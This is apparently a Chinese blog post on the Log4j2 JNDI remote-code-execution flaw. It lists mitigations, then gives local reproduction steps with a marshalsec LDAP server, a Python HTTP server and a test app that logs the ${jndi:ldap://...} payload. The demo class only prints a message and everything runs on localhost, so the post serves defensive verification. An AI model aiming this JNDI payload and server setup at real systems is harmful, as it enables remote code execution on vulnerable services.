log4j RCE 漏洞的缓解&验证方式
log4j 使用范围之广,Javaer 应该都接触过。
今天应该有不少人被 log4j2 的这个核弹级的 RCE 漏洞折磨了,看到有人半夜 1 点被叫起来进行修复。。。
目前已经确认 1.x 也受影响
CORRECTION: log4j 1.x contains a JMS Appender which can use JNDI. So I would say that, yes, log4j 1.x is also impacted by this vulnerability
https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126
缓解方法
个人推荐比较方便的缓解方式为:
0. 系统环境变量配置JAVA_TOOL_OPTIONS=-Dlog4j2.formatMsgNoLookups=true
(对于 2.0~2.10 版本,应先升级至 2.10+)
其他已知有效的缓解办法还有以下几个:
- 禁止没有必要的业务访问外网
- 升级依赖到 2.15.0,下载地址 https://search.maven.org/search?q=g:org.apache.logging.log4j
- 在应用 classpath 下添加 log4j2.component.properties 配置文件,文件内容为
log4j2.formatMsgNoLookups=True
(>=2.9.1 以及之后版本) - 设置 jvm 启动参数
-Dlog4j2.formatMsgNoLookups=true
(对于 2.0~2.10 版本,应先升级至 2.10+,再增加 jvm 参数) - 将
JndiLookup
类从 classpath 中去除,例如zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- 覆盖
JndiLookup
类的实现,有人已经基于此思路提供了一个 patch https://github.com/Glavo/log4j-patch - 可升级 jdk 版本至 6u211 / 7u201 / 8u191 / 11.0.1 以上,可以在一定程度上限制 JNDI 等漏洞利用方式(这些版本后就不能用 LDAP 进行远程类加载了,但是这只是排除了其中一部分风险,依旧可绕过,隐含拒绝服务攻击、利用远程文件写入进行 RCE 的风险)
至于网上普遍传的“将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true”并不可用,已实测完全无效。没想腾讯竟然如此不严谨
复现步骤
仅限自行验证使用,请勿他用
仅限自行验证使用,请勿他用
仅限自行验证使用,请勿他用
在一个文件夹(如
~/remote
)编写 Log4jRCE.java1
2
3
4
5
6
7
8
9
10public class Log4jRCE {
static {
System.out.println("I am Log4jRCE from remote!!!");
}
public Log4jRCE(){
System.out.println("I am Log4jRCE from remote222!!!");
}
}编译
javac Log4jRCE.java
本地启动一个 http server,这里用的 python
1
2cd ~/remote
python3 -m http.server 8888 --bind 127.0.0.1搭建并启动一个 ldap 服务器
1
2
3
4git clone git@github.com:mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"在另一个文件夹中(如
~/log4j-rce-poc
)编写测试应用
pom1
2
3
4
5
6
7
8
9
10<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>src
1
2
3
4
5
6
7
8
9public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
}
}
参考:
log4j RCE 漏洞的缓解&验证方式
https://www.haoyizebo.com/posts/ff226ce/